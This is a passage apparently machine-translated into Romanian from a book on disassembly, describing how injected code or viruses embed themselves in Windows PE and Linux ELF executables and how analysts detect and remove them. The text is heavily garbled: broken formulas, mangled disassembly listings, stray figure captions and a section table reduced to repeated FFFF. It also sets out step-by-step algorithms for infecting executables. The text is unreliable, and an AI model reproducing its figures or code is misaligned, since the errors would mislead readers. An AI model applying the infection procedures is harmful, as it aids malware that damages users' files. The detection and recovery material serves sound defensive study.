nu este o problemă mare Se realizează prin editarea trivială a resurselor în orice editor de resurse decent (de exemplu, în Visual Studio) Sarcina este mult simplificată de faptul că toate pictogramele sunt de obicei stocate în mai multe copii, realizate cu palete de culori și rezoluții diferite În plus, din toate secvențele obișnuite, programatorii aleg de obicei zerouri pentru încorporare, corespunzătoare unei culori transparente în pictograme și negru într-un bitmap Poza în sine rămâne intactă, dar înconjurată de „gunoi”, care este ușor de îndepărtat cu o radieră Dacă după ștergerea codului X fișierul refuză să pornească, trebuie doar să schimbați editorul de resurse sau să utilizați HIEW, cu abilități minime de lucru cu care pictogramele pot fi editate în modul Ex- Un caz separat este restaurarea unui tabel de elemente relocabile distruse ireversibil de codul X încorporat Dacă imaginea de bază = Image Base AND Y SizeOfFile, atunci fișierul conține cel mai probabil o suprapunere și este mai bine să refuzați injecția P Dacă dimensiunea fizică a oricărei secțiuni depășește dimensiunea virtuală cu o valoare mai mare sau egală cu File Alignment, atunci fișierul conține cel mai probabil o suprapunere de mijloc și se recomandă insistent să refuzați implementarea P Selectați o secțiune potrivită pentru implementare (image scn mem shared, IMAGE SCN MEM DISCARDABLE sunt resetate IMAGE SCN MEM READ SAU IMAGE SCN MEM EXECUTE este setată, image scn cnt code sau image scn cnt initialized dața este setată) De obicei, aceasta va fi prima secțiune a fișierului P Offset-ul fizic al începutului unei secțiuni din fișier este egal cu offset-ul brut (acesta este un câmp sigur și poate fi de încredere) P Decalajul fizic al sfârșitului de secțiune în fișier este calculat într-un mod mai complicat: min(CS raw offset + ALIGN DOWN(CS r sz, FA), NS raw off) П Găsim partea din secțiune care nu conține substructurile tabelelor de servicii ale fișierului PE, cum ar fi, de exemplu, tabelele de import/export antet Secțiunea de cod Secțiunea de date și secțiuni suplimentare Acoperire Cod X Orez Injectarea codului X într-un fișier prin plasarea unei părți dintr-o secțiune într-o suprapunere Capitolul Dezasamblarea fișierelor PE pe de biți □ În partea (părțile) selectate a secțiunii, găsim una sau mai multe regiuni libere de elemente mutate, iar dacă acest lucru nu este posibil, atunci „mușcăm” aceste elemente din tabelul de remedieri pentru prelucrarea ulterioară de către codul X manual □ Dacă doriți, găsiți primul prolog și ultimul epilog în interiorul părților selectate ale secțiunii, astfel încât linia „tăiată” să nu rupă funcția în jumătate (acest lucru nu va rupe funcționalitatea fișierului, dar va face injecția mai vizibilă) □ Dacă dorim să creăm o suprapunere în interiorul unui fișier, atunci: • Măriți offset-ul brut al tuturor secțiunilor ulterioare cu ALIGN UP(dimensiunea(codul X), FA) • Deplasați fizic toate secțiunile ulterioare din fișier cu aceeași sumă • Mutăm părțile selectate ale secțiunii în suprapunere, scriindu-le într-un format arbitrar, dar în așa fel încât să ne putem da seama mai târziu □ În caz contrar: • Adăugăm părțile selectate ale secțiunii la sfârșitul fișierului, scriindu-le într-un format arbitrar, dar în așa fel încât să ne putem da seama mai târziu □ Scrieți codul X în spațiul liber Identificarea obiectelor afectate Dezasamblarea unor astfel de fișiere nu dezvăluie nimic ieșit din comun Codul x este situat în secțiunea de coduri, unde ar trebui să fie tot codul normal De asemenea, nu sunt observate resturi suspecte Adevărat, există o serie de referințe încrucișate care duc la mijlocul funcțiilor, iar aceste funcții, după cum ați putea ghici, aparțin codului X La urma urmei, chiar dacă codul X taie fragmentele tăiate ale secțiunilor de-a lungul limitelor funcțiilor, decalajele funcțiilor codului X din interiorul fiecărui fragment vor diferi de cele originale Nu ar trebui să decupeze fiecare funcție separat - acest lucru este prea laborios Cu toate acestea, acest lucru se întâmplă adesea cu fișiere evident neinfectate, așa că, la prima vedere, nu există motive de suspiciune Prezența unei suprapuneri de mijloc este ușor de recunoscut după nepotrivirea dintre adresele fizice și cele virtuale, ceea ce nu se observă în aproape niciun fișier normal, dar prezența unei suprapuneri la sfârșitul fișierului este normală Nu mai rămâne nimic altceva decât să analizăm întregul cod X, iar dacă sunt detectate manipulări cu restaurarea secțiunii, atunci faptul injecției va fi expus Codul x pretinde a fi un apel la funcțiile VirtualProtect (setare atribut de înregistrare), GetCommandLine, GetModuleBaseName, GetModuleFullName sau GetModuleFullNameEx (detecta numele fișierului gazdă) De asemenea, asigurați-vă că secțiunea de cod este doar pentru citire, altfel șansele ca X-code să fie prezent vor crește semnificativ (și nu va mai fi nevoie să apeleze VirtualProtect) Recuperarea obiectelor afectate De obicei, trebuie să faceți față cu două greșeli algoritmice făcute de dezvoltatorii codului injectat: verificarea incorectă pentru intersecția secțiunii care este abandonată cu date de serviciu și injectarea în secțiunea cu atribute nepotrivite Ambele erori sunt complet reversibile Există erori mai puțin frecvente în determinarea lungimii secțiunii de resetat: dacă cs v sz Ns raw off, atunci încărcătorul de sistem încarcă doar cs v sz octeți ai secțiunii , iar codul injectat resetează octeții cs r sz ai secțiunii, captând o bucată din secțiunea următoare fără a ține cont de faptul că poate fi proiectat la adrese complet diferite, drept urmare, atunci când conținutul original al resetului secțiunea sunt restaurate, o parte din următoarea secțiune nu va fi restaurată Mai rău, codul X va fi ca și cum ar fi rupt în două secțiuni în jumătate, iar aceste jumătăți pot fi cât de departe una dintre ele doriți! Desigur, nu va mai putea lucra după aceea Partea a IV-a Tehnici avansate de dezasamblare Dacă fișierul afectat pornește normal, pentru a elimina codul X, pur și simplu urmăriți-l puțin și, după ce așteptați ca controlul să fie transferat în programul principal, eliminați dump-ul Categoria B: crearea propriei suprapuneri Suprapunerea poate stoca nu numai conținutul original al secțiunii, ci și codul X! Adevărat, nu va fi posibilă aducerea completă a întregului cod X în suprapunere - orice s-ar putea spune, dar cel puțin un încărcător mic va trebui să fie introdus în corpul principal, plasându-l în antet, lângă coadă , într-o secvență obișnuită sau în alte părți libere ale fișierului Avantajele acestui mecanism constau în simplitatea implementării sale, fiabilitate, non-conflict etc Acum nu mai este necesară analizarea substructurilor de serviciu pentru intersecția lor cu partea din secțiune care este resetată (nu resetăm nimic!) , așa că dacă se întâmplă ca suprapunerea să moare, încărcătorul va transfera pur și simplu controlul programului principal fără a-i perturba performanța Suprapunerea trebuie plasată fie la sfârșitul fișierului, fie în antetul acestuia Deși acest lucru va fi mai vizibil, șansele de a supraviețui ambalajului vor crește semnificativ Implementarea Algoritmul de încorporare este complet identic cu cel descris în secțiunea anterioară „Categoria B aruncarea unei părți a secțiunii în suprapunere”, cu singura excepție că nu o parte a secțiunii fișierului purtător este aruncată în suprapunere, ci X -codul în sine, procesat de un încărcător special Injecția cu încărcătorul este de obicei clasificată ca Categoria A (vezi „Injectarea Categoria A în spațiul liber al fișierelor”), deși în principiu pot fi utilizate alte categorii Identificarea obiectelor afectate Înglobările de acest tip sunt ușor de recunoscut vizual prin prezența unui încărcător, de obicei din categoria A, și prin prezența unei suprapuneri la începutul, sfârșitul sau mijlocul fișierului Recuperarea obiectelor afectate Dacă codul X este proiectat corect, pentru a-l elimina, este suficient să distrugi suprapunerea (de exemplu, prin împachetarea programului ASPack cu opțiunea de salvare a suprapunerilor resetate) Metoda de ștergere a unui bootloader încorporat în categoria A a fost deja descrisă mai devreme în secțiunea cu același nume, așa că nu o vom repeta Categoria C: extensia ultimei secțiuni a fișierului Ideea de a extinde ultima secțiune a unui fișier nu este nouă și are rădăcini adânci în istorie, ducându-ne înapoi la vremurile sistemului de operare MS-DOS Acesta este cel mai evident și mai popular dintre toți algoritmii de injecție în general (deseori numit chiar „metoda standard de injecție”), dar caracteristicile sale de performanță lasă mult de dorit Este extrem de conflictual, prea vizibil și cu adevărat aplicabil doar anumitor fișiere PE care îndeplinesc toate cerințele pentru acestea Dar această metodă transferă fără durere ambalarea și procesarea cu protectori La prima vedere, ideea nu întâlnește niciun obstacol: adăugăm codul X la coada ultimei secțiuni, creștem dimensiunea imaginii paginii cu o cantitate adecvată, fără a uita de alinierea acesteia și transferăm controlul către X -cod (Fig ) Nu este nevoie să efectuați mișcări suplimentare ale unor secțiuni față de altele, ceea ce înseamnă că nici offset-ul lor brut nu trebuie ajustat De asemenea, problema conflictelor cu structurile auxiliare ale fișierului PE dispare și nu avem de ce să ne temem că X-code va suprascrie datele aparținând tabelului de import sau, de exemplu, resurse Dar odată ce îți scoți ochelarii de culoare trandafir și te uiți în ochii realității, vei găsi multe probleme Ce se întâmplă dacă sfârșitul ultimei secțiuni nu se potrivește cu sfârșitul fișierului? Poate acolo Capitolul Dezasamblarea fișierelor PE pe de biți se dovedesc a fi o suprapunere sau doar un gunoi lăsat de linker? Dar ce se întâmplă dacă ultima secțiune a fișierului este o secțiune de date neinițializată sau o secțiune DISARDABLE, care poate fi descărcată din fișier în orice moment? Injectarea în ultima secțiune a unui fișier nu este numai incorectă din punct de vedere tehnic, ci și incorectă din punct de vedere politic Cu toate acestea, această metodă are și dreptul de a exista, așa că o vom analiza mai detaliat Secțiunea de date și secțiuni suplimentare Cod X Orez Încorporarea codului X într-un fișier prin extinderea ultimei secțiuni Implementarea Dacă dimensiunea fizică a ultimei secțiuni, atunci când este aliniată de valoarea File Alignment, nu „atinge” capătul fizic al fișierului, atunci codul X trebuie fie să refuze injectarea, fie să-și atașeze corpul nu la capăt al secțiunii, dar până la sfârșitul dosarului Diferența nu este fundamentală, cu excepția faptului că suprapunerea va trebui acum să fie încărcată în memorie, crescând atât timpul de încărcare, cât și cantitatea de resurse consumate Încorporarea între sfârșitul secțiunii și începutul suprapunerii este strict inacceptabilă, deoarece suprapunerile sunt cel mai adesea adresate în raport cu începutul fișierului (deși pot fi abordate și în raport cu sfârșitul ultimei secțiuni) O altă subtilitate este legată de recalcularea dimensiunii secțiunii virtuale - dacă este mai mare decât cea fizică (cum se întâmplă cel mai adesea), atunci include deja o parte din suprapunere, astfel încât algoritmul de calcul al noii dimensiuni devine mult mai complicat Lucrurile stau și mai rău cu atributele secțiunii Secțiunile de date neinițializate nu trebuie deloc să fie încărcate de pe disc (deși Windows x/NT încă le încărcă), iar secțiunile de servicii (de exemplu, secțiunea de elemente relocabile) sunt într-adevăr solicitate de sistem doar în etapa de încărcare un fișier PE, acestea sunt active numai în stadiul de încărcare, iar rămânerea lor ulterioară în memorie nu este garantată Prin urmare, codul X poate arunca cu ușurință o excepție înainte de a avea timp să transfere controlul către programul principal Desigur, codul X poate ajusta atributele ultimei secțiuni după bunul plac, dar acest lucru va degrada performanța sistemului și va fi prea vizibil Dacă dimensiunea fizică a ultimei secțiuni este zero, ceea ce este tipic pentru secțiunile de date neinițializate, este mai bine să o săriți peste, injectând-o în penultima secțiune Partea a IV-a Tehnici avansate de dezasamblare Un algoritm de injecție tipic arată astfel: □ Încărcați antetul PE și analizați atributele ultimei secțiuni □ Dacă indicatorul image scn mem shared este setat, eliminați injecția □ Dacă indicatorul image scn mem discardable este setat, fie refuzăm implementarea, fie îl resetam noi înșine □ Dacă indicatorul image scn cnt uninitialized data este setat, cel mai bine este să renunțați la implementare □ Dacă ALiGN UP(Ls r sz, fa) + LS r a > SizeOfFile, atunci fișierul conține o suprapunere și este mai bine să refuzați injecția □ Dacă ls v sz > LS r rz, atunci coada secțiunii conține date inițializate cu zerouri În acest caz, ar trebui fie să refuzați implementarea, fie să vă curățați înainte de a transfera controlul □ Adăugați codul X la sfârșitul fișierului □ Setați LS r sz la SizeOfFile - LS r off □ EcnHLS v sz >= (LS r a + LS r sz + (SizeOfFile - (LS r a + ALIGN UP(LS r sz, FA))), lăsați ls v sz neschimbat, în caz contrar ls v sz := □ Echhls v sz != , recalculați dimensiunea imaginii □ Dacă este necesar, ajustați atributele secțiunii încorporate: resetați atributul image scn mem discardable și atribuiți atributul image scn mem read □ Recalculați dimensiunea imaginii Identificarea obiectelor afectate Injecțiile de acest tip sunt cel mai ușor de identificat - se dezvăluie prin prezența codului în ultima secțiune a fișierului, care este de obicei fie o secțiune de date neinițializată, fie o secțiune de resurse, fie o secțiune de servicii, cum ar fi un import / secțiunea de export sau elemente relocabile Dacă fișierul sursă conținea o suprapunere (sau gunoi lăsat de linker), acesta este inevitabil suprapus de ultima secțiune Recuperarea obiectelor afectate Dragostea programatorilor începători pentru extinderea ultimei secțiuni a fișierului este destul de de înțeles (o descriere mai mult sau mai puțin detaliată a acestei metode de injectare poate fi găsită în aproape orice revistă de viruși), dar aici sunt erorile algoritmice comise de aceștia de neiertat Cele mai frecvente sunt trei tipuri de erori: determinarea incorectă a poziției de la sfârșitul fișierului, lipsa de aliniere și atributele necorespunzătoare ale secțiunii În același timp, majoritatea acestor erori sunt ireversibile, iar fișierele afectate nu pot fi recuperate Pentru început, TO)LS r off + LS r sz nu se potrivește întotdeauna cu sfârșitul fișierului, iar dacă fișierul conține o suprapunere, acesta va fi distrus fără milă Dacă ls v sz SizeOfHeaders, extindem antetul conform metodei descrise în secțiunea „Extinderea antetului Categoria B”, iar dacă acest lucru nu este posibil, refuzăm să infectăm □ Adăugați codul X la sfârșitul fișierului □ Mărește numărul de secțiuni cu una □ Aliniați ls r sz de fa □ Adăugați încă un element la tabelul de secțiuni, completând câmpurile după cum urmează: • Nume - nu contează • ѵ а—LS v a + ALIGN UP( (LS v szp LS v sz: LS r sz), Alinierea secțiunii) • r offset - SizeOfFile • v sz - sizeof(X-code) SAU x • r sz-sizeof(X-code) • Caracter - IMAGE SCN CNT CODE|IMAGE SCN MEM EXECUTE • Altele - x • Recalculați dimensiunea imaginii Identificarea obiectelor afectate Înglobările de acest tip sunt ușor de recunoscut prin prezența unei secțiuni de cod la sfârșitul fișierului (în mod implicit, secțiunea de cod este întotdeauna pe primul loc) Recuperarea obiectelor afectate O determinare eronată a offset-ului secțiunii încorporate duce de obicei la o inoperabilitate completă a fișierului fără cea mai mică speranță de recuperare a acestuia (am discutat deja acest lucru mai detaliat în secțiunea anterioară) Alte tipuri de erori sunt mai puțin insidioase Living Classics - dimensiunea fizică nealiniată a penultimei secțiuni a fișierului După cum am menționat mai devreme, nu este necesară egalizarea dimensiunii fizice a ultimei secțiuni, dar atunci când o nouă secțiune este introdusă în fișier, ultima secțiune devine penultima, cu toate consecințele care decurg Categoria C: extinderea secțiunilor din mijloc ale fișierului Injectarea în mijlocul fișierului este acrobație și oferă codului X cel mai mare furt Cel mai de preferat este să injectați fie la începutul, fie la sfârșitul secțiunii de cod, care în marea majoritate a cazurilor este prima secțiune a fișierului Acest algoritm moștenește toate cele mai bune caracteristici ale creării unei suprapuneri în mijloc, amplificându-le de mai multe ori: codul X încorporat aparține imaginii paginii, nu există suprapunere, deci nu există conflicte cu protectorii/pacatorii Introducere la început Încorporarea la începutul unei secțiuni de cod se poate face în două moduri În primul rând, puteți muta secțiunea de cod, împreună cu toate secțiunile care o urmează, spre dreapta, mutând-o fizic în fișier și ajustând toate referințele la adrese absolute din imaginea paginii În al doilea rând, este posibil să se reducă ѵ a și r off ale secțiunii de cod cu aceeași valoare, umplând spațiul liber cu codul X, atunci nici legăturile fizice, nici virtuale nu vor trebui corectate, deoarece secțiunea va fi mapată în memorie la aceleasi adrese Este ușor de arătat că mișcarea secțiunii de cod atunci când codul X este încorporat la începutul său este similară cu mișcarea secțiunii de date când codul este încorporat la coada secțiunii (vezi subsecțiunea „Injectarea la sfârșit „'} și, prin urmare, nu este luat în considerare aici Să ne concentrăm asupra graniței de vest a secțiunii de cod și asupra aspectelor tehnice ale deplasării sale în antet Capitolul Dezasamblarea fișierelor PE pe de biți De fapt, întreaga problemă este că marea majoritate a secțiunilor de cod încep cu adresa lOOOh, adresa minimă permisă dictată de multiplicitatea de aliniere aleasă oa, deci nu există unde să ne retragem - titlul este al nostru Aici puteți face două lucruri În primul rând, puteți reduce adresa de încărcare de bază cu un multiplu de KB și puteți ajusta toate referințele la adresele RVA Acest lucru este plictisitor, iar adresa de bază de descărcare a marii majorități a fișierelor este adresa minimă acceptată de Windows x În al doilea rând, puteți dezactiva alinierea în fișier mutând chenarul la orice număr de octeți care este un multiplu de doi (dar apoi fișierul nu va rula sub Windows l) Un algoritm de implementare tipic prin reducerea adresei de încărcare de bază arată astfel: □ Citiți antetul PE □ Dacă baza imaginii Oh, trageți cs v sz la NS v a - CS v a • Pentru fiecare secțiune: dacă v sz > r sz, măriți lungimea secțiunii cu v sz - r sz octeți, mutând toate celelalte în imaginea fizică și imaginea paginii • Pentru fiecare secțiune: dacă v sz = Z >= Image Size, TO Z este o adresă eficientă care necesită corectare (desigur, tehnica propusă nu este foarte fiabilă, dar încă funcționează) Un algoritm de implementare tipic arată astfel: □ Citiți antetul PE □ Dacă nu există elemente de mutat, este mai bine să refuzați implementarea, deoarece fișierul poate deveni inutilizabil □ Găsiți secțiunea de cod a fișierului □ Dacă cs v sz == sau cs v sz >= cs r sz, incrementați r sz din secțiunea de cod a fișierului □ EcnHCS v sz mutare? esiȚ eax push xor xor inc inc push push push inc push inc inc push push push mov eax eax, edx, ah ah eax ecx ebx ecx ecx ecx ecx ecx eax edx eax, eax edx int Ah special „adăugați Ssp”? h COD XREF: sub * TpT| ; Linux- ; Linux- ; Linux- Orez Structura tipică a unui cod de virus sys open sys lseek old mmap Orez Schemă tipică pentru infectarea unui fișier executabil prin consumul acestuia Partea a IV-a Tehnici avansate de dezasamblare După ce a primit controlul, virusul extrage conținutul fișierului original din corpul său, îl scrie într-un fișier temporar, îi atribuie un atribut executabil și lansează fișierul „vindecat” pentru execuție, după care îl șterge din nou de pe disc Deoarece astfel de manipulări rareori trec neobservate, unii viruși se aventurează să descarce „manual” victima de pe disc Cu toate acestea, procedura de încărcare corectă a unui fișier ELF nu este ușor de scris și chiar mai dificil de depanat, astfel încât apariția unor astfel de viruși pare destul de puțin probabilă În cele din urmă, formatul ELF este mult mai complicat decât un simplu a out O trăsătură caracteristică a unor astfel de viruși este un segment mic de cod, urmat de un segment uriaș de date (suprapunere), care este un fișier executabil independent (Fig ) Încercați să utilizați căutarea contextuală pentru a găsi antetul ELF/COFF/a out - vor fi două dintre ele în fișierul infectat! Doar nu încercați să dezasamblați suprapunerea/segmentul de date - tot nu veți obține un cod semnificativ, deoarece, în primul rând, acest lucru necesită cunoașterea locației exacte a punctului de intrare și, în al doilea rând, plasarea cozii fișierului dezasamblat la el adrese legale În plus, conținutul original al fișierului poate fi criptat în mod deliberat de un virus, iar apoi dezasamblatorul va returna gunoi fără sens, care va fi greu de înțeles Cu toate acestea, acest lucru nu complică foarte mult analiza Codul virusului este puțin probabil să fie foarte mare și nu va dura mult timp pentru a restabili algoritmul de criptare (dacă criptarea are loc într-adevăr) Orez Un exemplu de fișier consumat de un virus UNIX a out - mic, doar trei sute de octeți, dimensiunea secțiunii de cod indică o probabilitate mare de infecție Mai rău, dacă virusul transferă o parte din fișierul original în segmentul de date și o parte în segmentul de cod Un astfel de fișier arată ca un program obișnuit, cu singura excepție că cea mai mare parte a segmentului de cod este „cod mort” care nu primește niciodată controlul Segmentul de date arată normal la prima vedere, dar la o inspecție mai atentă, se dovedește că toate referințele încrucișate (de exemplu, link-urile către șiruri de text) sunt compensate față de adresele lor „native” După cum ați putea ghici, valoarea offset-ului este lungimea virusului Dezasamblarea dezvăluie funcțiile exec și fork tipice virușilor de acest tip, care sunt folosite pentru a lansa un fișier „cured”, funcția chmod pentru a atribui un atribut executabil unui fișier etc Infecție prin extinderea ultimei secțiuni a unui fișier Cel mai simplu mod de a infecta nedistructiv un fișier este să extindeți ultima secțiune/segment al victimei și să vă atașați corpul la capătul său Notă În mod tradițional, atunci când descriu viruși de acest tip, a fost folosit termenul de secțiune Mai departe în text, această tradiție va fi respectată, deși va fi oarecum incorectă în raport cu fișierele ELF, deoarece încărcătorul de sistem al fișierelor executabile ELF funcționează exclusiv cu segmente și, după cum am menționat mai devreme, ignoră secțiuni Strict vorbind, această afirmație nu este în întregime adevărată Ultima secțiune a fișierului este de obicei bss pentru stocarea datelor neinițializate Este posibil să injectați aici, dar este inutil, deoarece încărcătorul nu este suficient de prost pentru a pierde timp prețios al procesorului încărcând date neinițializate de pe un disc lent Mai corect Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD ar fi să spunem „ultima secțiune semnificativă”, dar să nu găsim de vină, aceasta nu este o disertație, nu? Secțiunea bss este de obicei precedată de o secțiune data care conține datele inițializate Așa că devine obiectul principal al atacului virusului! După ce ați setat dezasamblatorul pe fișierul studiat, uitați-vă în ce secțiune se află punctul de intrare Și, dacă această secțiune se dovedește a fi o secțiune de date (ca, de exemplu, în cazul prezentat în Fig ), fișierul investigat este foarte probabil să fie infectat cu un virus În exemplul prezentat în această ilustrație, fișierul a fost infectat cu virusul PolyEngine Linux LIME poly Virusul și-a injectat corpul la sfârșitul secțiunii de date și i-a stabilit un punct de intrare Prezența codului executabil în secțiunea de date face ca prezența unui virus să fie extrem de vizibilă date: BF ; Linux - sys write h decalaj Dh ; Numele alternativ este principal ta: C dntа: CB data: data: data: data DC data: C gen ll: data: DC data: DO data: F data E ,data: O EC data: EE data: EF data: - data: F data:O FE date: date:Ѳ Ѳ data: E data: G data: data: data: F data: data: data: b c : mov mov apel pop mov mov adăuga ecxeax, ebx, COD XREF: ,data: A Alj (offset host "sg* h) S; Linux - sys creat ebx, offset hwt 'P'Vv ecx, A h edx, Dh ebp, intrare ebx eax, ecx, offseOlfJiead ; „(JELFO edx, h p filsz, edx p nensz edx ■ Orez Apariția unui fișier infectat cu virusul PolyEngine Linux LIME poly, care își injectează corpul în sfârșitul secțiunii de date și setează un punct de intrare pe acesta Când este injectat în fișierul a out, virusul, în general, trebuie să facă următoarele: □ Citiți antetul fișierului și verificați dacă este într-adevăr a out □ Mărește câmpul a data cu o sumă egală cu dimensiunea corpului tău □ Copiați-vă până la sfârșitul fișierului □ Ajustați conținutul câmpului a entry pentru a prelua controlul (dacă virusul preia controlul în acest fel) Încorporarea în fișierele ELF este ceva mai complexă (Figura ) Când este încorporat într-un fișier ELF, un virus, în general, trebuie să facă următoarele: □ Virusul deschide fișierul și, citind antetul acestuia, se asigură că este într-adevăr un fișier ELF □ Privind prin tabelul cu segmente de program, virusul găsește segmentul cel mai potrivit pentru infecție Orice segment cu atributul pl load este potrivit pentru infecție; de fapt, segmentele rămase sunt, de asemenea, mai mult sau mai puțin potrivite pentru infecție, dar codul virusului din ele va arăta oarecum ciudat Partea a IV-a Tehnici avansate de dezasamblare Antet ELF Cod program și date Orez Schemă tipică pentru infectarea unui fișier executabil prin extinderea ultimei secțiuni □ Segmentul găsit este „deschis” până la sfârșitul fișierului și mărit cu o valoare egală cu dimensiunea corpului virusului, ceea ce se face prin corectarea sincronă a câmpurilor p filez ȘI p memz □ Virusul se atașează la sfârșitul fișierului infectat □ Pentru a prelua controlul, virusul fie corectează punctul de intrare în fișier (e entry) fie injectează jmp în corpul său în punctul de intrare adevărat Cu toate acestea, tehnica de interceptare a controlului este un subiect pentru o conversație mare separată Pentru mai multe informații despre acest subiect, consultați Capitolul , „Anti-Debugging și Hide and Seek pe Windows și Linux” și pe CD-ul care însoțește această carte ) O mica nota tehnica Secțiunea de date are de obicei doar două atribute: un atribut de citire (Read) și un atribut de scriere (Write) Nu are un atribut Execute în mod implicit Înseamnă asta că executarea codului virusului din el va fi imposibilă? Întrebarea nu are un răspuns clar Totul depinde de caracteristicile de implementare ale unui anumit procesor și ale unui anumit sistem de operare Unii dintre ei ignoră absența atributului execute, presupunând că dreptul de a executa codul decurge direct din dreptul de a citi Alții fac o excepție, blocând programul infectat Pentru a evita această situație, virușii pot atribui atributul Execute secțiunii de date, dându-se astfel Cu toate acestea, astfel de cazuri sunt extrem de rare și marea majoritate a scriitorilor de viruși părăsesc secțiunea de date cu atributele implicite Un alt punct important și nu chiar evident la prima vedere Gândiți-vă la modul în care comportamentul unui fișier infectat se va schimba atunci când un virus este introdus într-o secțiune care nu este ultima date urmate de bss? Și nu se va schimba! În ciuda faptului că ultima secțiune va fi proiectată la adrese complet diferite, codul programului „nu știe” despre acest lucru și va continua să acceseze variabilele neinițializate la adresele lor anterioare, acum ocupate de codul virusului, care în acest moment are deja a rezolvat și a returnat totul în frâiele dosarului original al guvernului Cu condiția ca codul programului să fie proiectat corect și să nu se bazeze pe valoarea inițială a variabilelor neinițializate, prezența unui virus nu va afecta performanța programului Cu toate acestea, în mediul dur al vieții reale, această tehnică elegantă de infecție eșuează, deoarece aplicația UNIX medie conține aproximativ zece secțiuni diferite pentru toate scopurile Aruncă o privire la utilitarul ls, împrumutat de la distribuția Linux Red Hat (Listing ), de exemplu Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD Nume Start End Align Base Tip Clasa es ss ds fs gs mit A A plt A CE text CF •fini redata •data •ctors C dtors C got bss B extern abs C para publ CODE Y dword publ CODE Y para publ CODE Y para publ CODE Y dword publ CONST Y dword publ DATA Y dword publ DATA Y dword publ DATA Y dword B publ ldword B B publ N octet C publ N FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff Secțiunea data este situată în mijlocul fișierului, iar pentru a ajunge la ea, virusul va trebui să se ocupe de modificarea celorlalte șapte secțiuni, ajustându-le în mod corespunzător câmpurile p offset (secțiunea offset de la începutul fișierului) Unii viruși nu fac acest lucru, ceea ce face ca fișierele infectate să nu ruleze Pe de altă parte, secțiunea data a fișierului în cauză are doar ore de octeți, deoarece majoritatea datelor programului se află în secțiunea rodata (secțiunea de date numai în citire) Aceasta este o practică tipică pentru linkerii moderni, iar majoritatea executabilelor sunt organizate în acest fel Virusul nu își poate plasa codul în secțiunea data, deoarece acest lucru îl face prea vizibil și nu se poate infiltra în rodata, deoarece în acest caz nu se va putea decripta singur Și da, ar avea puțin sens Deoarece virusul trebuie să se infiltreze nu la sfârșit, ci în mijlocul fișierului, este mai bine ca acesta să se infiltreze nu în secțiunea de date, ci în text care conține codul mașinii Acolo virusul nu va fi atât de vizibil Vom vorbi despre asta puțin mai târziu în acest capitol, în secțiunea „Infecție prin extinderea secțiunii de cod a unui fișier” Comprimarea unei părți a fișierului original Zi de zi, programele cresc în dimensiune, iar virușii devin din ce în ce mai sofisticați Orice cod urât pe care Microsoft îl aruncă pe piață este în continuare substanțial mai bun decât unele hack-uri UNIX artizanale De exemplu, fișierul cat inclus cu FreeBSD are peste KB Nu este prea mult pentru o simplă utilitate?! Vizualizarea fișierului cu un editor hex dezvăluie un număr mare de secvențe obișnuite (mai ales șiruri de zerouri) care fie nu sunt utilizate deloc, fie pot fi comprimate eficient Virusul, sedus de prezența spațiului liber, își poate copia corpul acolo, chiar dacă trebuie să „se prăbușească” în câteva zeci de fragmente Dacă nu există spațiu liber - nu contează! Aproape fiecare fișier executabil conține un număr mare de linii de text, iar liniile de text sunt bine cunoscute pentru a fi ușor comprimate La prima vedere, un astfel de algoritm de infecție pare extrem de complicat, dar, credeți-mă, implementarea unui packer Huffman este mult mai ușoară decât șamanismul cu separări de secțiuni pe care trebuie să-l facă un virus pentru a pătrunde în mijlocul unui fișier În plus, cu această metodă de infecție, lungimea fișierului rămâne neschimbată, ceea ce ascunde parțial prezența unui virus Opțiunea de a aloca memorie pe stivă și de a copia corpul virusului în alte locuri nu trebuie propusă În primul rând, aceasta este o sarcină destul de consumatoare de timp, pe care majoritatea scriitorilor de viruși nu o întreprind În al doilea rând, după cum am menționat deja, atributul executabil poate fi eliminat din stivă instalând patch-urile corespunzătoare Partea a IV-a Tehnici avansate de dezasamblare Să luăm în considerare modul în care virusul este introdus în segmentul de cod În cel mai simplu caz, virusul scanează fișierul căutând o secvență mai mult sau mai puțin lungă de comenzi nop folosite pentru a alinia codul programului la mai multe adrese, scrie o bucată din corpul său în ele și adaugă o comandă de salt la fragmentul următor Aceasta continuă până când virusul este complet în fișier În etapa finală a infecției, virusul notează adresele fragmentelor „capturate” de acesta, după care transferă controlul în fișierul gazdă Dacă acest lucru nu se face, virusul nu își va putea copia corpul în următorul fișier pe care îl infectează, deși câțiva viruși deosebit de sofisticați conțin un trasor încorporat care colectează automat corpul virusului din mers, dar aceștia sunt pur și simplu viruși de laborator și nu pot merge liberi Programele diferite conțin cantități diferite de spațiu liber pentru aliniere În special, programele incluse în distribuția de bază FreeBSD sunt compilate predominant cu aliniere pe octeți Având în vedere că o comandă de ramificare necondiționată pe sistemele x durează cel puțin doi octeți, este pur și simplu nerealist ca un virus să se strecoare în această cantitate modestă Lucrurile stau diferit cu sistemul de operare RedHat Multiplicitatea de aliniere, setată la h până la h octeți, găzduiește cu ușurință un virus de dimensiune medie Luați în considerare, ca exemplu, un fragment din codul dezasamblat al utilitarului ping infectat cu virusul UNIX NuxBe quilt (Listing ) Lista Fragment dintr-un fișier infectat cu virusul UNIX NuxBe quilt, „untând” în sine - după secțiunea de cod text: BD xor eax, eax text: BDB xor ebx, ebx text: BDD jmp short loc C text: C loc C : ; COD XREF: text: BDD J text: C mov ebx, esp text: C mov eax, h text: C int h ; Linux C - sys msync text: C A add esp, h text: C D jmp loc D text: D loc D : ; COD XREF: text: C DT' text: D dec eax text: D jns scurt loc D text: D B jmp scurt loc D B text: D IOS— D : ; COD XREF: text: D ț; text: D inc eax text: D mov [ebp+ h], eax text: D A mov edx,eax text: D C }mp scurt loc D C Chiar și un cercetător începător poate detecta cu ușurință prezența unui virus în corpul programului Lanțul caracteristic de instrucțiuni jmp, care se întinde pe întregul segment de date, nu poate decât să atragă atenția În programele „cinstite”, acest lucru nu se întâmplă aproape niciodată și vom lăsa deoparte protecțiile viclene și pachetele de fișiere executabile construite pe motoare polimorfe pentru moment Modificarea binecunoscutului virus NuxBee publicată în jurnalul electronic publicat de grupul # A Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD Rețineți că fragmentele de virus nu trebuie să urmeze liniar Dimpotrivă, virusul va depune toate eforturile pentru a 